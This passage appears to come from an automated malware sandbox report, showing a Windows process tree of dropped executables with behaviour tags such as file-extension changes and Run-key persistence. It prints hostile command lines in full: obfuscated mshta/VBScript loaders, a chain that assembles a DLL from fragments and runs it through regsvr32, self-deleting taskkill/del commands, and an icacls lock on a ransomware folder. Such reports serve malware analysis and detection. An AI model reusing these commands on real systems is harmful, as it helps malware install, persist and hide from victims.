                                                                                                                                                                                                              • C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe
                                                                                                                                                                                                                "C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Executes dropped EXE
                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                PID:4348
                                                                                                                                                                                                                • C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe
                                                                                                                                                                                                                  "C:\Program Files (x86)\Browzar\MrGh6bEH0L0a.exe"
                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                  • Executes dropped EXE
                                                                                                                                                                                                                  PID:5188
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -u -p 5188 -s 24
                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                    • Program crash
                                                                                                                                                                                                                    PID:5520
                                                                                                                                                                                                            • C:\Users\Admin\Documents\l8SALabjfyOKQrQxZMpkrjbf.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\l8SALabjfyOKQrQxZMpkrjbf.exe"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              PID:4376
                                                                                                                                                                                                              • C:\Users\Admin\Documents\l8SALabjfyOKQrQxZMpkrjbf.exe
                                                                                                                                                                                                                "C:\Users\Admin\Documents\l8SALabjfyOKQrQxZMpkrjbf.exe"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                • Modifies data under HKEY_USERS
                                                                                                                                                                                                                PID:7052
                                                                                                                                                                                                            • C:\Users\Admin\Documents\9ArPjA1g8AO_BhfUUf_2l_Ep.exe
                                                                                                                                                                                                              "C:\Users\Admin\Documents\9ArPjA1g8AO_BhfUUf_2l_Ep.exe"
                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                              • Checks processor information in registry
                                                                                                                                                                                                              PID:4220
                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /c taskkill /im 9ArPjA1g8AO_BhfUUf_2l_Ep.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\9ArPjA1g8AO_BhfUUf_2l_Ep.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:5952
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                    taskkill /im 9ArPjA1g8AO_BhfUUf_2l_Ep.exe /f
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                    • Kills process with taskkill
                                                                                                                                                                                                                    PID:1596
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                    timeout /t 6
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                    • Delays execution with timeout.exe
                                                                                                                                                                                                                    PID:4076
                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Browser
                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                PID:2704
                                                                                                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s WpnService
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                • Suspicious use of SetThreadContext
                                                                                                                                                                                                                • Modifies registry class
                                                                                                                                                                                                                PID:2436
                                                                                                                                                                                                                • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                  C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                  • Drops file in System32 directory
                                                                                                                                                                                                                  • Checks processor information in registry
                                                                                                                                                                                                                  • Modifies registry class
                                                                                                                                                                                                                  PID:3484
                                                                                                                                                                                                              • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                  PID:2260
                                                                                                                                                                                                                • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                    PID:2240
                                                                                                                                                                                                                  • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                    c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                      PID:1880
                                                                                                                                                                                                                    • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                      c:\windows\system32\svchost.exe -k netsvcs -s SENS
                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                        PID:1412
                                                                                                                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s UserManager
                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                          PID:1384
                                                                                                                                                                                                                        • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s Themes
                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                            PID:1184
                                                                                                                                                                                                                          • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                              PID:1136
                                                                                                                                                                                                                            • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                                              PID:1040
                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:776
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                  PID:4808
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                    • Modifies extensions of user files
                                                                                                                                                                                                                                    PID:6596
                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                  PID:4476
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                                                      PID:5164
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                    PID:4848
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                      • Checks SCSI registry key(s)
                                                                                                                                                                                                                                      PID:3712
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Roaming\iagidwa
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Roaming\iagidwa
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Checks SCSI registry key(s)
                                                                                                                                                                                                                                    PID:1392
                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                    • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                    PID:7060
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:5588
                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                      • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                      PID:5312
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e\3C80.exe --Task
                                                                                                                                                                                                                                        3⤵
                                                                                                                                                                                                                                          PID:6552
                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                        C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                        PID:5452
                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                          C:\Users\Admin\AppData\Roaming\cjgidwa
                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                            PID:5768
                                                                                                                                                                                                                                      • c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                        c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                          PID:1004
                                                                                                                                                                                                                                        • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                          c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                          • Modifies registry class
                                                                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                          PID:748
                                                                                                                                                                                                                                          • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                            C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Drops file in System32 directory
                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                            • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                            • Modifies registry class
                                                                                                                                                                                                                                            PID:5096
                                                                                                                                                                                                                                        • C:\Windows\system32\rUNdlL32.eXe
                                                                                                                                                                                                                                          rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                          • Process spawned unexpected child process
                                                                                                                                                                                                                                          PID:4964
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                            rUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:4524
                                                                                                                                                                                                                                          • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                            c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                              PID:2688
                                                                                                                                                                                                                                            • C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                              C:\Windows\servicing\TrustedInstaller.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                              PID:5408
                                                                                                                                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Suspicious use of NtCreateUserProcessOtherParentProcess
                                                                                                                                                                                                                                              PID:6988
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\EC0D.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\EC0D.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                                                                              PID:5252
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\F45B.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\F45B.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Suspicious use of SetWindowsHookEx
                                                                                                                                                                                                                                              PID:6904
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\4F1E.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\4F1E.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                              • Drops file in Drivers directory
                                                                                                                                                                                                                                              • Loads dropped DLL
                                                                                                                                                                                                                                              PID:3728
                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\549D.exe
                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\549D.exe
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:5480
                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\5A9A.exe
                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\5A9A.exe
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:4492
                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\621C.exe
                                                                                                                                                                                                                                                  C:\Users\Admin\AppData\Local\Temp\621C.exe
                                                                                                                                                                                                                                                  1⤵
                                                                                                                                                                                                                                                    PID:6388
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:5040
                                                                                                                                                                                                                                                    • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                      C:\Windows\explorer.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                      • Executes dropped EXE
                                                                                                                                                                                                                                                      PID:5588
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:5916
                                                                                                                                                                                                                                                      • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                        C:\Windows\explorer.exe
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                        • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                        PID:4816
                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                        C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                        1⤵
                                                                                                                                                                                                                                                          PID:6344
                                                                                                                                                                                                                                                        • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                          C:\Windows\explorer.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                          • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                          PID:2856
                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                          C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                          1⤵
                                                                                                                                                                                                                                                            PID:7140
                                                                                                                                                                                                                                                          • C:\Windows\explorer.exe
                                                                                                                                                                                                                                                            C:\Windows\explorer.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                            • Suspicious behavior: MapViewOfSection
                                                                                                                                                                                                                                                            PID:6912
                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                            C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                              PID:6120
                                                                                                                                                                                                                                                            • C:\Users\Admin\AppData\Local\Temp\3C80.exe
                                                                                                                                                                                                                                                              C:\Users\Admin\AppData\Local\Temp\3C80.exe
                                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                              • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                              PID:6908
                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\3C80.exe
                                                                                                                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\3C80.exe
                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                • Adds Run key to start application
                                                                                                                                                                                                                                                                PID:4620
                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                                                                                                                                                  icacls "C:\Users\Admin\AppData\Local\a5b73431-93e7-47df-9ae4-fb05f8af432e" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                  • Modifies file permissions
                                                                                                                                                                                                                                                                  PID:3904
                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\3C80.exe
                                                                                                                                                                                                                                                                  "C:\Users\Admin\AppData\Local\Temp\3C80.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                  3⤵
                                                                                                                                                                                                                                                                    PID:3480
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\3C80.exe
                                                                                                                                                                                                                                                                      "C:\Users\Admin\AppData\Local\Temp\3C80.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                                                                                                                                                      4⤵
                                                                                                                                                                                                                                                                        PID:3908
                                                                                                                                                                                                                                                                        • C:\Users\Admin\AppData\Local\ff86d15e-d935-42c7-a2c5-fa4a8f17089d\build2.exe
                                                                                                                                                                                                                                                                          "C:\Users\Admin\AppData\Local\ff86d15e-d935-42c7-a2c5-fa4a8f17089d\build2.exe"
                                                                                                                                                                                                                                                                          5⤵
                                                                                                                                                                                                                                                                          • Suspicious use of SetThreadContext
                                                                                                                                                                                                                                                                          PID:4152
                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\ff86d15e-d935-42c7-a2c5-fa4a8f17089d\build2.exe
                                                                                                                                                                                                                                                                            "C:\Users\Admin\AppData\Local\ff86d15e-d935-42c7-a2c5-fa4a8f17089d\build2.exe"
                                                                                                                                                                                                                                                                            6⤵
                                                                                                                                                                                                                                                                            • Loads dropped DLL
                                                                                                                                                                                                                                                                            • Checks processor information in registry
                                                                                                                                                                                                                                                                            PID:6512
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              "C:\Windows\System32\cmd.exe" /c taskkill /im build2.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\ff86d15e-d935-42c7-a2c5-fa4a8f17089d\build2.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                PID:6520
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                  taskkill /im build2.exe /f
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                  PID:7008
                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                                  timeout /t 6
                                                                                                                                                                                                                                                                                  8⤵
                                                                                                                                                                                                                                                                                  • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                                  PID:5200
                                                                                                                                                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\3F5F.exe
                                                                                                                                                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\3F5F.exe
                                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                                    • Checks processor information in registry
                                                                                                                                                                                                                                                                    PID:4968
                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                      "C:\Windows\System32\cmd.exe" /c taskkill /im 3F5F.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\3F5F.exe" & del C:\ProgramData\*.dll & exit
                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                        PID:4668
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                          taskkill /im 3F5F.exe /f
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Loads dropped DLL
                                                                                                                                                                                                                                                                          • Checks SCSI registry key(s)
                                                                                                                                                                                                                                                                          • Kills process with taskkill
                                                                                                                                                                                                                                                                          PID:6388
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\timeout.exe
                                                                                                                                                                                                                                                                          timeout /t 6
                                                                                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                                                                                          • Delays execution with timeout.exe
                                                                                                                                                                                                                                                                          PID:6176
                                                                                                                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\4730.exe
                                                                                                                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\4730.exe
                                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                                        PID:5240
                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                          "C:\Windows\System32\mshta.exe" VBscRIPT:ClOSe (creAtEobJEct ( "WSCRIPt.ShElL" ). Run( "C:\Windows\system32\cmd.exe /Q /C TyPE ""C:\Users\Admin\AppData\Local\Temp\4730.exe"" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if """" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\4730.exe"" ) do taskkill -F -im ""%~Nxw"" " , 0 , tRUe ) )
                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                            PID:1784
                                                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                              "C:\Windows\system32\cmd.exe" /Q /C TyPE "C:\Users\Admin\AppData\Local\Temp\4730.exe" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if "" == "" for %w in ( "C:\Users\Admin\AppData\Local\Temp\4730.exe" ) do taskkill -F -im "%~Nxw"
                                                                                                                                                                                                                                                                              3⤵
                                                                                                                                                                                                                                                                                PID:5220
                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe
                                                                                                                                                                                                                                                                                  ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT
                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                    PID:6420
                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                      "C:\Windows\System32\mshta.exe" VBscRIPT:ClOSe (creAtEobJEct ( "WSCRIPt.ShElL" ). Run( "C:\Windows\system32\cmd.exe /Q /C TyPE ""C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe"" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if ""-pLTfn82smRxoqI1Rgg5LiENy6ewubmT "" == """" for %w in ( ""C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe"" ) do taskkill -F -im ""%~Nxw"" " , 0 , tRUe ) )
                                                                                                                                                                                                                                                                                      5⤵
                                                                                                                                                                                                                                                                                        PID:4184
                                                                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                          "C:\Windows\system32\cmd.exe" /Q /C TyPE "C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe" > ..\XrZhy2.eXe && StArT ..\XrZhY2.eXE -pLTfn82smRxoqI1Rgg5LiENy6ewubmT &if "-pLTfn82smRxoqI1Rgg5LiENy6ewubmT " == "" for %w in ( "C:\Users\Admin\AppData\Local\Temp\XrZhy2.eXe" ) do taskkill -F -im "%~Nxw"
                                                                                                                                                                                                                                                                                          6⤵
                                                                                                                                                                                                                                                                                            PID:4596
                                                                                                                                                                                                                                                                                            • C:\Windows\System32\Conhost.exe
                                                                                                                                                                                                                                                                                              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                                                                              7⤵
                                                                                                                                                                                                                                                                                                PID:4504
                                                                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\mshta.exe
                                                                                                                                                                                                                                                                                            "C:\Windows\System32\mshta.exe" VbsCripT:cLose ( cReatEoBJEcT ( "WScript.sheLl" ). Run ( "CMd.EXe /C EChO YE%TIMe%i> q1Qo.EY & echo | seT /P = ""MZ"" > FIq2DqT_.Q &copy /b /y FIq2DQT_.Q + QBEZ3.8 + R5FQa3.v3P + WWAA.Ue5 + JBVF~.yS + rcEI.~+ Mj12.DS + q1QO.Ey ..\mRZCIH.DO & Del /q *& STart regsvr32.exe -S ..\MRZCIH.DO /U " , 0 , true ) )
                                                                                                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                                                                                                              PID:6476
                                                                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C EChO YE%TIMe%i> q1Qo.EY & echo | seT /P = "MZ" > FIq2DqT_.Q &copy /b /y FIq2DQT_.Q + QBEZ3.8 + R5FQa3.v3P +WWAA.Ue5 + JBVF~.yS + rcEI.~+Mj12.DS + q1QO.Ey ..\mRZCIH.DO & Del /q *& STart regsvr32.exe -S ..\MRZCIH.DO /U
                                                                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                                                                  PID:4660
                                                                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                    C:\Windows\system32\cmd.exe /S /D /c" echo "
                                                                                                                                                                                                                                                                                                    7⤵
                                                                                                                                                                                                                                                                                                      PID:3808
                                                                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                                                                                      C:\Windows\system32\cmd.exe /S /D /c" seT /P = "MZ" 1>FIq2DqT_.Q"
                                                                                                                                                                                                                                                                                                      7⤵
                                                                                                                                                                                                                                                                                                        PID:4348
                                                                                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\regsvr32.exe
                                                                                                                                                                                                                                                                                                        regsvr32.exe -S ..\MRZCIH.DO /U
                                                                                                                                                                                                                                                                                                        7⤵
                                                                                                                                                                                                                                                                                                        • Loads dropped DLL
                                                                                                                                                                                                                                                                                                        • Suspicious use of NtCreateThreadExHideFromDebugger
                                                                                                                                                                                                                                                                                                        PID:1004
                                                                                                                                                                                                                                                                                                • C:\Windows\SysWOW64\taskkill.exe
                                                                                                                                                                                                                                                                                                  taskkill -F -im "4730.exe"
                                                                                                                                                                                                                                                                                                  4⤵
                                                                                                                                                                                                                                                                                                  • Kills process with taskkill
                                                                                                                                                                                                                                                                                                  PID:5016
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\59CF.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\59CF.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                            • Checks whether UAC is enabled
                                                                                                                                                                                                                                                                                            PID:3712
                                                                                                                                                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\64AD.exe
                                                                                                                                                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\64AD.exe
                                                                                                                                                                                                                                                                                            1⤵
                                                                                                                                                                                                                                                                                              PID:6724
                                                                                                                                                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\is-K83HH.tmp\64AD.tmp
                                                                                                                                                                                                                                                                                                "C:\Users\Admin\AppData\Local\Temp\is-K83HH.tmp\64AD.tmp" /SL5="$10402,188175,104448,C:\Users\Admin\AppData\Local\Temp\64AD.exe"
                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                • Loads dropped DLL
                                                                                                                                                                                                                                                                                                PID:5356
                                                                                                                                                                                                                                                                                                • C:\Users\Admin\AppData\Local\Temp\is-NOB2M.tmp\134 Vaporeondè_éçè_)))_.exe
